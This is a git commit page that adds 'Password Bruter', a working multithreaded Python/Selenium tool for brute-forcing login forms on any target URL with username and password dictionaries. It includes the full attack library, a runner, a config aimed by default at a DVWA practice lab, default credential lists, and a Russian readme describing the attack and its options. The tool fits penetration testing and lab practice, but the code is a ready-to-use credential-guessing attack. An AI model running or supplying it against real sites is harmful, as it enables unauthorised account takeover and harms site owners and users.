Welcome to mirror list, hosted at ThFree Co, Russian Federation.

github.com/Tim55667757/pwd_brut.git - Unnamed repository; edit this file 'description' to name the repository.
summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authortgilmullin <TGilmullin@ptsecurity.ru>2014-05-22 15:54:13 +0400
committertgilmullin <TGilmullin@ptsecurity.ru>2014-05-22 15:54:13 +0400
commit5f96a9ef96f8371fd939c9f7eb566e3597802f50 (patch)
tree797399654b952eb5f0d7b6beac6ca0240eff0d1b
parent30e04f89660d2fd994cb3f8e07456d71c24d40ce (diff)
Password Bruter v.1.0. modules added
-rw-r--r--browser_drivers/IEDriverServer.exebin0 -> 2654720 bytes
-rw-r--r--browser_drivers/chromedriver.exebin0 -> 2465280 bytes
-rw-r--r--bruter_lib.py494
-rw-r--r--config.py62
-rw-r--r--dict/pwd.txt9
-rw-r--r--dict/users.txt4
-rw-r--r--pwd_brut.py82
-rw-r--r--readme.txt145
-rw-r--r--result.txt12
9 files changed, 808 insertions, 0 deletions
diff --git a/browser_drivers/IEDriverServer.exe b/browser_drivers/IEDriverServer.exe
new file mode 100644
index 0000000..ed3d764
--- /dev/null
+++ b/browser_drivers/IEDriverServer.exe
Binary files differ
diff --git a/browser_drivers/chromedriver.exe b/browser_drivers/chromedriver.exe
new file mode 100644
index 0000000..773c3a3
--- /dev/null
+++ b/browser_drivers/chromedriver.exe
Binary files differ
diff --git a/bruter_lib.py b/bruter_lib.py
new file mode 100644
index 0000000..1acb674
--- /dev/null
+++ b/bruter_lib.py
@@ -0,0 +1,494 @@
+#! /usr/bin/env python
+# -*- coding: utf-8 -*-
+# Author: Gilmullin T.M.
+
+# This file describes support utils for Bruter.
+
+
+# Importing config file
+import config
+
+# Importing Selenium WebDriver classes
+from selenium import webdriver
+from selenium.webdriver.support.ui import WebDriverWait
+
+# Other imports
+import traceback
+import os
+import sys
+from datetime import datetime
+import time
+import threading
+import random
+import argparse
+import re
+import functools
+
+
+# Working Directory.
+workDir = os.path.abspath(os.curdir)
+
+# List of threads.
+threads = []
+
+# List of browsers - one browser in every thread.
+browsers = []
+
+
+def ParseArgs():
+ """
+ Function get and parse command line keys.
+ """
+ args = []
+ try:
+ parser = argparse.ArgumentParser()
+ parser.add_argument("-t", "--target", type=str,
+ help="Target URL for Bruter. For example: '--target=http://mysite.com/admin/'")
+ parser.add_argument("-b", "--browser", type=str,
+ help="Browser for Bruter (*firefox, *ie, *chrome). *firefox by default.")
+ parser.add_argument("-r", "--random", type=str,
+ help="If this key is True then Bruter uses random user and password in every iteration.")
+ parser.add_argument("-T", "--threads", type=int, help="Thread's number.")
+ parser.add_argument("-w", "--wait", type=int, help="Waiting for operation's finish (sec.).")
+ parser.add_argument("-p", "--period", type=int,
+ help="Rump up period shows time (sec.) in which all test suite threads will start.")
+ parser.add_argument("-L", "--logins", type=str, help="Path to user's list. Default: dict/users.txt")
+ parser.add_argument("-P", "--passwords", type=str, help="Path to password's list. Default: dict/pwd.txt")
+ parser.add_argument("-R", "--results", type=str, help="Path to result file. Default: result.txt")
+ parser.add_argument("-g", "--generator", type=str,
+ help="Generate a lot of random strings for Bruter. Example: '-g [100,8,1,1,1,0,0,0]'.\n" +
+ "This means:\n" +
+ "1 number - number of strings, 2 - string's length, 3 - use or not Numbers," +
+ "4 - use or not Latin Upper Case Chars, 5 - use or not Latin Lower Case Chars" +
+ "6 - use or not Russian Upper case chars, 7 - use or not Russian Lower Case Chars,"
+ "8 - use or not Special Simbols. Output file: dict/rnd_<date_time>.txt")
+ args = parser.parse_args()
+ if args.target != None:
+ config.target = args.target
+ if (args.browser == '*chrome') or (args.browser == '*ie'):
+ config.selBrowserString = args.browser
+ else:
+ config.selBrowserString = '*firefox'
+ if args.random != None:
+ if args.random == 'True':
+ config.randomCredentials = True
+ else:
+ config.randomCredentials = False
+ if args.threads != None:
+ config.brutThreads = args.threads
+ if args.wait != None:
+ config.timeout = args.wait
+ if args.period != None:
+ config.rumpUpPeriod = args.period
+ if args.logins != None:
+ if os.path.exists(args.logins):
+ config.usersFile = args.logins
+ else:
+ config.usersFile = 'dict/users.txt'
+ if args.passwords != None:
+ if os.path.exists(args.passwords):
+ config.passwordsFile = args.passwords
+ else:
+ config.passwordsFile = 'dict/pwd.txt'
+ if args.results != None:
+ if os.path.exists(args.results):
+ config.resultFile = args.results
+ else:
+ config.resultFile = 'result.txt'
+ if args.generator != None:
+ params = []
+ try:
+ params = StringOfNumToNumsList(args.generator)
+ except:
+ pass
+ finally:
+ if len(params) >= 8:
+ config.randomGeneratorParameter = params
+ else:
+ print('%s - Generator using default parameters from config file: %s' %
+ (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), config.randomGeneratorParameter))
+ print('%s - Parsing command line arguments, status: oK' % datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
+ except BaseException:
+ print('%s - Parsing command line arguments, status: error' % datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
+ traceback.print_exc()
+ finally:
+ return args
+
+
+def EstimateTime(numLogins=0, numPasswords=0, waitInSec=1, timeForStartingTreads=0):
+ """
+ Function returns info about estimate time.
+ """
+ try:
+ es = numLogins * numPasswords * waitInSec + timeForStartingTreads
+ eh = round(es / 3600)
+ info = 'Users: %d, Passwords: %d, Full Estimated Time: %d sec. (~%d hours).' %\
+ (numLogins, numPasswords, es, eh)
+ except BaseException:
+ traceback.print_exc()
+ return 'Can\'t compute estimate time!'
+ return info
+
+
+def DurationOperation(func):
+ """
+ This is decorator for compute duration operation of functions. It works only with functions returning number >= 0.
+ """
+
+ def wrapper(*args, **kwargs):
+ startTime = datetime.now()
+ print('%s - Thread #%d, %s, starting ...' % (startTime.strftime('%H:%M:%S %d.%m.%Y'), args[0], str(func)))
+ status = func(*args, **kwargs)
+ stopTime = datetime.now()
+ if status == 0:
+ print('%s - Thread #%d, %s, status: oK' % (stopTime.strftime('%H:%M:%S %d.%m.%Y'), args[0], str(func)))
+ else:
+ print('%s - Thread #%d, %s, status: error' % (stopTime.strftime('%H:%M:%S %d.%m.%Y'), args[0], str(func)))
+ duration = stopTime - startTime
+ print('%s - Thread #%d, %s, duration operation: %s' %
+ (stopTime.strftime('%H:%M:%S %d.%m.%Y'), args[0], str(func), str(duration)))
+ return status
+
+ return wrapper
+
+
+def StringOfNumToNumsList(string):
+ """
+ Get some string with numbers and other simbols, for example:'[572,573,604,650]' or similar
+ and convert it to list of numbers as [572, 573, 604, 650].
+ """
+ numList = []
+ try:
+ while len(string) != 0:
+ s = ''
+ i = 0
+ flag = True
+ while flag and i < len(string):
+ if string[i] in '0123456789':
+ s = s + string[i]
+ i += 1
+ else:
+ flag = False
+ if s != '':
+ numList.append(int(s))
+ string = string[i + 1:]
+ except:
+ print('%s - Can\'t parse your string of numbers to list of numbers!' %
+ datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
+ traceback.print_exc()
+ return []
+ return numList
+
+
+def GetListFromFile(file):
+ """
+ This function get strings from file and put into list. Text-file must have #13#10
+ """
+ listFromFile = []
+ if os.path.exists(file):
+ try:
+ with open(file) as fh:
+ allStrings = fh.read()
+ listFromFile = allStrings.split('\n')
+ except BaseException:
+ print('%s - Can\'t get list from file: %s' % (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), file))
+ traceback.print_exc()
+ return []
+ return listFromFile
+
+
+def SeparateListByPieces(fullList, piecesNum):
+ """
+ Function get full list of objects and then divided into a number of parts. Last part may be bigger, than other.
+ Function return a list of part of full list.
+ """
+ separate = []
+ listLen = len(fullList)
+ if (listLen > 0) and (piecesNum > 1):
+ try:
+ objectsInPieces = listLen // piecesNum
+ for i in range(piecesNum):
+ piece = [fullList[i * objectsInPieces + k] for k in range(objectsInPieces)]
+ separate.append(piece)
+ separate[piecesNum - 1] += fullList[piecesNum * objectsInPieces:]
+ except BaseException:
+ print('%s - Can\'t separate list of objects!' % datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
+ traceback.print_exc()
+ return [fullList]
+ else:
+ separate = [fullList]
+ return separate
+
+
+@DurationOperation
+def Reporting(instance=0, file='result.txt', creds=None, users=None, passwords=None, actualTime=0):
+ """
+ This function print results to file.
+ """
+ try:
+ if os.path.exists(file):
+ fileTo = open(file, 'a')
+ else:
+ fileTo = open(file, 'w')
+ fileTo.write('\n%s - Thread #%d, Bruter finished check for\n' %
+ (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), instance) +
+ 'users = [\'%s\', ..., \'%s\'], %d items,\n' % (users[0], users[-1], len(users)) +
+ 'passwords = [\'%s\', ..., \'%s\'], %d items.\n' % (passwords[0], passwords[-1], len(passwords)) +
+ 'Actual time worked: %s\n' % str(actualTime))
+ if (creds != None) and (creds != {}):
+ fileTo.write('Suitable credentials: %s\n' % str(creds))
+ else:
+ fileTo.write('Bruter can\'t find suitable credentials.\n')
+ print('%s - Thread #%d, Updating report file: \'%s\'' %
+ (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), instance, file))
+ fileTo.close()
+ except BaseException:
+ traceback.print_exc()
+ return 1
+ return 0
+
+
+@DurationOperation
+def OpenBrowser(instance=0, opTimeout=10, browserString='*firefox', ffProfile=None):
+ """
+ Commands for opening new instance of WebDriver browser.
+ """
+ try:
+ # Get new browser instance and put it into browser array. One browser for one thread.
+ if browserString == '*chrome':
+ chromeOptions = webdriver.ChromeOptions()
+ chromeOptions.add_argument('--start-maximized')
+ chromeOptions.add_argument('--log-path=' + workDir + '/browser_drivers/chromedriver.log')
+ os.chdir(workDir + '/browser_drivers')
+ browsers.append(webdriver.Chrome(executable_path=workDir + '/browser_drivers/chromedriver.exe',
+ chrome_options=chromeOptions))
+ os.chdir(workDir)
+ elif browserString == '*ie':
+ browsers.append(webdriver.Ie(executable_path=workDir + '/browser_drivers/IEDriverServer.exe',
+ log_file=workDir + '/browser_drivers/iedriver.log'))
+ browsers[len(browsers) - 1].maximize_window()
+ else:
+ ffp = webdriver.FirefoxProfile(ffProfile)
+ browsers.append(webdriver.Firefox(firefox_profile=ffp, timeout=opTimeout))
+ browsers[len(browsers) - 1].maximize_window()
+ except BaseException:
+ traceback.print_exc()
+ return 1
+ return 0
+
+
+@DurationOperation
+def GoingToTarget(instance=0, opTimeout=10, targetURL='', loginField="//input[@name='login']",
+ passwordField="//input[@name='password']", acceptButton="//input[@type='submit']"):
+ """
+ This funcion going to target's URL with form-based auth.
+ """
+ try:
+ page = browsers[instance]
+ page.get(targetURL)
+ WebDriverWait(page, opTimeout).until(
+ lambda el: el.find_element_by_xpath(loginField).is_displayed() and
+ el.find_element_by_xpath(passwordField).is_displayed() and
+ el.find_element_by_xpath(acceptButton).is_displayed(), 'Timeout while opening auth page.')
+ except BaseException:
+ traceback.print_exc()
+ return 1
+ return 0
+
+
+@DurationOperation
+def CloseBrowser(instance=0):
+ """
+ Try to close WebDriver browser.
+ """
+ if len(browsers) > 0:
+ if browsers[instance] != None:
+ try:
+ browsers[instance].close()
+ browsers[instance] = None
+ except BaseException:
+ traceback.print_exc()
+ return 1
+ return 0
+
+
+def Cleaner():
+ """
+ Finalization step for Bruter.
+ """
+ status = 0
+ try:
+ # Stopping compute threads and closing browsers.
+ for t in threads:
+ if t != None:
+ t._stop()
+ t = None
+ for b in range(len(browsers)):
+ status += CloseBrowser(b)
+ if status == 0:
+ print('%s - Bruter finalize, status: oK' % datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
+ except BaseException:
+ print('%s - Bruter finalize, status: error' % datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
+ traceback.print_exc()
+ return 1
+ return status
+
+
+def GenerateRandomString(length=8, useNum=True, useEngUp=True, useEngLo=True, useRuUp=False, useRuLo=False,
+ useSpecial=False):
+ """
+ Function return random text-string definite length, that will be use as login or password.
+ 1 number - number of strings, 2 - string's length, 3 - use or not Numbers,
+ 4 - use or not English Upper Case Chars, 5 - use or not English Lower Case Chars,
+ 6 - use or not Russian Upper case chars, 7 - use or not Russian Lower Case Chars, 8 - use or not Special Simbols.
+ """
+ # There are possible simbols in alphabet.
+ alphabet = {
+ 'dicNum': '1234567890',
+ 'dicEngCharUpperCase': 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',
+ 'dicEngCharLowerCase': 'abcdefghijklmnopqrstuvwxyz',
+ 'dicRuCharUpperCase': 'АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЬЫЪЭЮЯ',
+ 'dicRuCharLowerCase': 'абвгдеёжзийклмнопрстуфхцчшщьыъэюя',
+ 'dicSpecial': '!@#$%^&*()-_+=.,<>[]{}\|/`~"\':;'}
+
+ # Preparing user's alphabet.
+ usersAlphabet = ''
+ if useNum:
+ usersAlphabet += alphabet['dicNum']
+ if useEngUp:
+ usersAlphabet += alphabet['dicEngCharUpperCase']
+ if useEngLo:
+ usersAlphabet += alphabet['dicEngCharLowerCase']
+ if useRuUp:
+ usersAlphabet += alphabet['dicRuCharUpperCase']
+ if useRuLo:
+ usersAlphabet += alphabet['dicRuCharLowerCase']
+ if useSpecial:
+ usersAlphabet += alphabet['dicSpecial']
+ usersAlpLen = len(usersAlphabet)
+
+ # Generating random string with user prefers.
+ textString = ''
+ try:
+ if (length > 0) and (usersAlphabet != ''):
+ for i in range(length):
+ textString += usersAlphabet[random.randint(0, usersAlpLen - 1)]
+ except BaseException:
+ textString = ''
+ print('%s - Can\'t generate random string!' % datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
+ traceback.print_exc()
+ finally:
+ return textString
+
+
+def GenerateListOfRandomStrings(numbers=10, length=8, useNum=True, useEngUp=True, useEngLo=True,
+ useRuUp=False, useRuLo=False, useSpecial=False):
+ """
+ Function return list of random text-string definite length, that will be use as login or password.
+ 1 number - number of strings, 2 - string's length, 3 - use or not Numbers,
+ 4 - use or not English Upper Case Chars, 5 - use or not English Lower Case Chars,
+ 6 - use or not Russian Upper case chars, 7 - use or not Russian Lower Case Chars, 8 - use or not Special Simbols.
+ """
+ rndList = []
+ try:
+ if numbers > 0:
+ for i in range(numbers):
+ rndList.append(GenerateRandomString(length, useNum, useEngUp, useEngLo, useRuUp, useRuLo, useSpecial))
+ except BaseException:
+ rndList = []
+ print('%s - Can\'t generate list of random string!' % datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
+ traceback.print_exc()
+ finally:
+ return rndList
+
+
+def GenerateFileWithRandomStrings(par=None):
+ """
+ Function create file with random text-string, that will be use as login or password.
+ Example: Par = [100, 5, 1, 1, 1, 0, 0, 0]
+ 1 number - number of strings, 2 - string's length, 3 - use or not Numbers,
+ 4 - use or not English Upper Case Chars, 5 - use or not English Lower Case Chars,
+ 6 - use or not Russian Upper case chars, 7 - use or not Russian Lower Case Chars, 8 - use or not Special Simbols.
+ """
+ file = 'dict/rnd_' + datetime.now().strftime('%d_%m_%Y_%H_%M_%S') + '.txt'
+ try:
+ if not (os.path.exists('dict')):
+ os.mkdir('dict')
+ fileTo = open(file, 'a')
+ if len(par) >= 8:
+ for i in range(2, 8):
+ if par[i] == 1:
+ par[i] = True
+ else:
+ par[i] = False
+ rndList = GenerateListOfRandomStrings(par[0], par[1], par[2], par[3], par[4], par[5], par[6], par[7])
+ else:
+ rndList = GenerateListOfRandomStrings(numbers=10, length=8, useNum=True, useEngUp=True, useEngLo=True,
+ useRuUp=False, useRuLo=False, useSpecial=False)
+ if len(rndList) > 0:
+ for string in rndList:
+ fileTo.write(string + '\n')
+ print('%s - Generate file with random strings: %s' % (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), file))
+ fileTo.close()
+ except BaseException:
+ print('%s - Can\'t generate file with random strings!' % datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
+ traceback.print_exc()
+ return 1
+ return 0
+
+
+@DurationOperation
+def Bruter(instance=0, opTimeout=3, loginField="", passwordField="", acceptButton="", successAuth="", failAuth="",
+ users=None, passwords=None, randomization=False, result='result.txt'):
+ """
+ This function loops through user IDs and passwords and finds suitable credentials.
+ """
+ # Dictionary {user:pass} for suitable user and password.
+ suitableCredentials = {}
+ startTime = datetime.now()
+ try:
+ page = browsers[instance]
+ modUsers = users[:]
+ modPasswords = passwords[:]
+ if randomization:
+ print('%s - Thread #%d, shuffling users and passwords ...' %
+ (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), instance))
+ random.shuffle(modUsers)
+ random.shuffle(modPasswords)
+ print('%s - Thread #%d, trying to use credentials ...' %
+ (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), instance))
+ for user in modUsers:
+ for pwd in modPasswords:
+ try:
+ page.find_element_by_xpath(loginField).clear()
+ page.find_element_by_xpath(loginField).send_keys(user)
+ page.find_element_by_xpath(passwordField).clear()
+ page.find_element_by_xpath(passwordField).send_keys(pwd)
+ page.find_element_by_xpath(acceptButton).click()
+ WebDriverWait(page, opTimeout).until(
+ lambda el: el.find_element_by_xpath(successAuth).is_displayed(), '')
+ suitableCredentials = {user: pwd}
+ print('%s - Thread #%d, found valid credentials: %s' %
+ (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), instance, str({user: pwd})))
+ break
+ except:
+ try:
+ WebDriverWait(page, opTimeout).until(
+ lambda el: el.find_element_by_xpath(failAuth).is_displayed(),
+ '%s - Thread #%d, Can\'t find auth fields! Possible connection problem.' %
+ (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), instance))
+ except:
+ pass
+ if suitableCredentials != {}:
+ break
+ threads[instance] = None
+ Reporting(instance, result, suitableCredentials, users, passwords, datetime.now() - startTime)
+ except:
+ traceback.print_exc()
+ return 1
+ return 0
+
+
+# This is only library.
+if __name__ == "__main__":
+ pass
diff --git a/config.py b/config.py
new file mode 100644
index 0000000..c5f0467
--- /dev/null
+++ b/config.py
@@ -0,0 +1,62 @@
+#! /usr/bin/env python
+# -*- coding: utf-8 -*-
+# Author: Gilmullin T.M.
+
+# This is configuration file for Password Bruter with default parameters. Please, do not change variable's names.
+
+
+# ---------- Form-based Auth page parameters ---------------------------------------------------------------------------
+# Start URL for Password Bruter.
+target = 'http://10.111.113.83/dvwa/vulnerabilities/brute/'
+
+# xPath for Login field.
+xPathLogin = "//input[@name='username']"
+
+# xPath for Password field.
+xPathPassword = "//input[@name='password']"
+
+# xPath for oK button.
+xPathAcceptButton = "//input[@name='Login']"
+
+# xPath for Success auth.
+xPathSuccessAuth = "//img[@src='http://10.111.113.83/dvwa/hackable/users/admin.jpg']"
+
+# xPath for Fail auth.
+xPathFailAuth = "//pre[contains(text(), 'Username and/or password incorrect.']"
+
+# Selenium Browser string. This param shows Selenium WebDriver which browser to run: *firefox, *chrome, *ie
+selBrowserString = '*firefox'
+
+# Mozilla profile. This param used only for ff. This is relative path to dir with mozilla profile config.
+selFFProfile = 'ff_profile'
+
+
+# ---------- Bruter parameters -----------------------------------------------------------------------------------------
+# Path to user's list.
+usersFile = 'dict/users.txt'
+
+# Path to password's list.
+passwordsFile = 'dict/pwd.txt'
+
+# Path to result file.
+resultFile = 'result.txt'
+
+# How many threads do you need?
+brutThreads = 1
+
+# Rump up period when all browsers will open and all threads will in progress.
+rumpUpPeriod = brutThreads * 5
+
+# Operation's timeout in seconds.
+timeout = 1
+
+# If this key is True then Bruter uses random item from user's list and password's list in every iteration.
+randomCredentials = False
+
+
+# ---------- Random Generator parameters -------------------------------------------------------------------------------
+# Random Generator parameter. 1 number - number of strings, 2 - string's length, 3 - use or not Numbers,
+# 4 - use or not English Upper Case Chars, 5 - use or not English Lower Case Chars,
+# 6 - use or not Russian Upper case chars, 7 - use or not Russian Lower Case Chars, 8 - use or not Special Simbols.
+# Output file: dict/rnd_<date_time>.txt
+randomGeneratorParameter = [100, 8, 1, 1, 1, 0, 0, 0]
diff --git a/dict/pwd.txt b/dict/pwd.txt
new file mode 100644
index 0000000..aa1d768
--- /dev/null
+++ b/dict/pwd.txt
@@ -0,0 +1,9 @@
+
+admin
+root
+user
+guest
+password
+123
+1234567890
+qwerty \ No newline at end of file
diff --git a/dict/users.txt b/dict/users.txt
new file mode 100644
index 0000000..cdd7dc2
--- /dev/null
+++ b/dict/users.txt
@@ -0,0 +1,4 @@
+admin
+root
+user
+guest
diff --git a/pwd_brut.py b/pwd_brut.py
new file mode 100644
index 0000000..bfdfe04
--- /dev/null
+++ b/pwd_brut.py
@@ -0,0 +1,82 @@
+#! /usr/bin/env python
+# -*- coding: utf-8 -*-
+# Author: Gilmullin T.M.
+
+# This is runner for multi-threads password's bruter.
+
+
+# Importing config file's params to common namespace.
+import config
+
+# Importing all utils to common namespace.
+from bruter_lib import *
+
+
+def Main():
+ """
+ Multithread runner.
+ """
+ try:
+ # Getting users and separate password's list.
+ print('%s - Getting list of users ...' % datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
+ usersList = GetListFromFile(config.usersFile)
+ print('%s - Getting list of passwords ...' % datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
+ passwordsList = [GetListFromFile(config.passwordsFile)]
+ if len(passwordsList[0]) / config.brutThreads <= 1:
+ config.brutThreads = 1
+ if config.brutThreads > 1:
+ print('%s - Separate passwords list by threads ...' % datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
+ passwordsList = SeparateListByPieces(passwordsList[0], config.brutThreads)
+ print('%s - Bruter initialize, status: oK' % datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
+
+ # Open new browser's instance, going to form-based auth page and start brute.
+ for i in range(config.brutThreads):
+ OpenBrowser(i, config.timeout, config.selBrowserString, config.selFFProfile)
+ GoingToTarget(i, config.timeout, config.target,
+ config.xPathLogin, config.xPathPassword, config.xPathAcceptButton)
+
+ threads.append(threading.Thread(
+ target=Bruter,
+ args=(i, config.timeout, config.xPathLogin, config.xPathPassword, config.xPathAcceptButton,
+ config.xPathSuccessAuth, config.xPathFailAuth, usersList, passwordsList[i],
+ config.randomCredentials, config.resultFile)))
+
+ et = EstimateTime(len(usersList), len(passwordsList[i]), config.timeout,
+ round(config.rumpUpPeriod / config.brutThreads))
+ print('%s - Thread #%d, %s' % (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), i, et))
+ threads[i].start()
+
+ if (config.brutThreads > 1) and (config.rumpUpPeriod > 0) and (i != config.brutThreads - 1):
+ time.sleep(config.rumpUpPeriod / config.brutThreads)
+
+ # Waiting until all threads done.
+ threadsAreInProgress = True
+ while threadsAreInProgress:
+ for t in threads:
+ if t != None:
+ threadsAreInProgress = True
+ break
+ else:
+ threadsAreInProgress = False
+
+ except BaseException:
+ print('%s - Bruter initialize, status: error' % datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
+ traceback.print_exc()
+
+ finally:
+ status = Cleaner()
+ sys.exit(status)
+
+
+# Run this script if you want to running multi-instance bruter.
+if __name__ == "__main__":
+ arg = ParseArgs()
+ if arg.generator != None:
+ print('%s - Trying to generate a lot of random strings ...' % datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
+ if GenerateFileWithRandomStrings(config.randomGeneratorParameter) == 0:
+ print('%s - Generator, status: oK.' % datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
+ sys.exit(0)
+ else:
+ print('%s - Generator, status: error.' % datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
+ sys.exit(1)
+ Main() \ No newline at end of file
diff --git a/readme.txt b/readme.txt
new file mode 100644
index 0000000..a370088
--- /dev/null
+++ b/readme.txt
@@ -0,0 +1,145 @@
+Password Bruter - программа, написанная на Python 3.2., для многопоточного подбора учетных данных вида {логин/пароль}
+к страничкам с form-based авторизацией.
+
+Предварительные настройки:
+1. Установленный Python 3.2.
+2. Установленный и настроенный пакет Selenium WebDriver для Python 3.2.:
+ http://forworktests.blogspot.com/p/selenium-web-driver.html
+
+Особенности:
+1. Универсальность применения. Bruter подходит для большинства html-форм авторизации, так как поля логина, пароля,
+ кнопки подтверждения входа, условия успешной и неуспешной авторизаций задаются в файле конфигурации через
+ xPath-адресацию: http://forworktests.blogspot.com/p/xpath-web.html
+2. Многопоточный перебор. Учетные данные перебираются в отдельных потоках.
+3. Имитация действий пользователя. Атака фактически осуществляется в браузерах, запущенных Selenium WebDriver.
+4. Предварительное разбиение множества паролей по отдельным потокам.
+5. Возможность случайного перебора вместо последовательного, для повышения вероятности нахождения
+ валидных учетных данных.
+6. Генератор для создания файла со списком псевдослучайных строк, состоящих из выбранных символов различных алфавитов.
+7. Настройка большинства параметров запуска программы как через командную строку, так и через файл конфигурации.
+8. Предварительная оценка времени работы, ведение подробного лога, формирование отчета о фактическом времени работы,
+ результатах перебора в отдельных потоках, и прочее.
+
+Password Bruter можно запустить без параметров, в этом случае он начнет подбирать учетные данные согласно
+настройкам по умолчанию, заданным в файле конфигурации config.py. Все параметры содержат комментарии.
+Рекомендуется не изменять имена переменных-параметров.
+
+Параметры для консольного запуска программы представлены ключами:
+Ключ Слово Описание
+-h --help Показать подсказку по опциям.
+-t --target Целевой URL для программы, указывающий на страничку с form-based авторизацией.
+ Примеры: --target=http://mysite.com/admin/ t http://site.ru/
+-b --browser Строка браузера (*firefox, *chrome, *ie), показывающая, в каком браузере запустить перебор.
+ По умолчанию, запускается firefox.
+ Примеры: --browser=*chrome -b *ie
+-r --random Если ключ равен True, тогда программа использует случайные учетные данные при переборе.
+ Примеры: --random=True -r False
+-T --threads Число потоков, в которых будет запущен перебор.
+ Примеры: --threads=5 -T 10
+-w --wait Ожидание успешного завершения операций в браузере, сек.
+ Примеры: --wait=2 -w 1
+-p --period Период, в течении которого следует запустить все потоки. Ориентировочно +5 сек. на поток.
+ Примеры: --period=10 -p 5
+-L --logins Путь к текстовому файлу со списком логинов. По умолчанию, dict/users.txt.
+ Примеры: --logins=my_logins.txt -L dict/123/my_logins.txt
+-P --passwords Путь к текстовому файлу со списком паролей. По умолчанию, dict/pwd.txt.
+ Примеры: --passwords=my_pass.txt -P dict/123/my_passwords.txt
+-R --results Путь к текстовому файлу для вывода результатов. По умолчанию, result.txt.
+ Примеры: --results=res.log -R results/res.log
+-g --generator Генератор псевдослучайных строк, выходной файл: dict/rnd_<date_time>.txt.
+ На вход подаётся список чисел [1,2,3,4,5,6,7,8], в котором: 1 число - количество случайных строк,
+ 2 число - длина генерируемых строк, 3 цифра - {0, 1} - использовать или нет цифры при генерации,
+ 4 цифра - {0, 1} - использовать (0) или нет (1) большие символы латинского алфавита,
+ 5 цифра - {0, 1} - использовать (0) или нет (1) маленькие символы латинского алфавита,
+ 6 цифра - {0, 1} - использовать (0) или нет (1) большие символы русского алфавита,
+ 7 цифра - {0, 1} - использовать (0) или нет (1) маленькие символы русского алфавита,
+ 8 цифра - {0, 1} - использовать (0) или нет (1) специальные символы: !@#$%^&*()-_+=.,<>[]{}\|/`~"\':;
+ Пример: '--generator=[100,8,1,1,1,0,0,0]' - сгенерировать 100 случайных строк, длины 8, состоящих
+ только из цифр, больших и маленьких символов латинского алфавита.
+
+Находясь в корне проекта для запуска программы можно использовать команду:
+python pwd_brut.py [options]
+
+[options] - необязательные параметры командной строки, так как все настройки могут быть заданы в config.py.
+
+Примеры:
+ python pwd_brut.py --target=http://mysite.com/admin/ # Запуск брутфорса на целевую страничку. Браузер Mozilla по умолчанию.
+ python pwd_brut.py -L my_logins.txt -P my_passs.txt -R res.log # Запуск программы с измененными словарями и файлом для результатов.
+ python pwd_brut.py -w 2 -r True -T 10 # Установить время ожидания операций в 2 сек., выбирать случайные учетные данные из списков, запустить 10 потоков.
+ python pwd_brut.py -g [10,5,1,0,0,0,0,0] # Сгенерировать 10 случайных строк, длины 5, состоящих только из цифр. Результат будет выведен в файл: dict/rnd_<текущие_дата_время>.txt
+
+Настройка программы через файл конфигурации config.py
+Параметры для цели:
+target = 'http://mysite.com/admin/' # Целевая страничка с form-based авторизацией.
+xPathLogin = "//input[@name='login']" # xPath для поля логина.
+xPathPassword = "//input[@name='password']" # xPath для поля пароля.
+xPathAcceptButton = "//input[@type='submit']" # xPath для кнопки подтверждения входа.
+xPathSuccessAuth = "//a[@id='loginLink']" # xPath для условия успешной авторизации.
+xPathFailAuth = "//div[@id='error']" # xPath для условия провала авторизации.
+selBrowserString = '*firefox' # Строка браузера показывает Selenium WebDriver какой браузер нужно запустить: *firefox, *chrome, *ie.
+selFFProfile = 'ff_profile' # Профиль Mozilla. Этот параметр используется только ff. Это относительный путь до директории с профилем.
+Параметры для брутфорсера:
+usersFile = 'dict/users.txt' # Путь к файлу со списком логинов.
+passwordsFile = 'dict/pwd.txt' # Путь к файлу со списком паролей.
+resultFile = 'result.txt' # Путь к файлу для вывода результатов.
+brutThreads = 1 # Число потоков для запуска брутфорса.
+rumpUpPeriod = brutThreads * 5 # Период в секундах, показывающий когда все потоки будут запущены.
+timeout = 1 # Таймаут операций в сек. Требует особого подбора. Если поставить слишком маленький, есть шанс пропустить успешную авторизацию.
+randomCredentials = False # Если ключ равен True, тогда Bruter использует случайные учетные данные, а не по порядку, как указано в файлах с логинами и паролями.
+Параметры генератора псевдослучайных строк:
+randomGeneratorParameter = [100, 8, 1, 1, 1, 0, 0, 0] # В конфигурации можно указывать список с пробелами. В командной строке - числа могут разделяться только знаками препинания.
+
+Структура проекта
+pwd_brut - корень проекта.
+ /browser_drivers - каталог с Windows-драйверами для chrome и ie.
+ /ff_profile - каталог для индивидуального профиля мозиллы (пустой по умолчанию).
+ /dict - каталог по умолчанию для словарей со списками учетных данных.
+ pwd.txt - текстовый файл по умолчанию для списка паролей.
+ users.txt - текстовый файл по умолчанию для списка логинов.
+ pwd_brut.py - основной модуль для многопоточного запуска брутфорса.
+ bruter_lib.py - библиотека функций брутфорсера.
+ config.py - файл с переменными для конфигурации программы.
+ readme.txt - актуальная информация по проекту.
+ result.txt - текстовый файл по умолчанию для вывода результатов брутфорса.
+
+Содержимое модуля pwd_brut.py
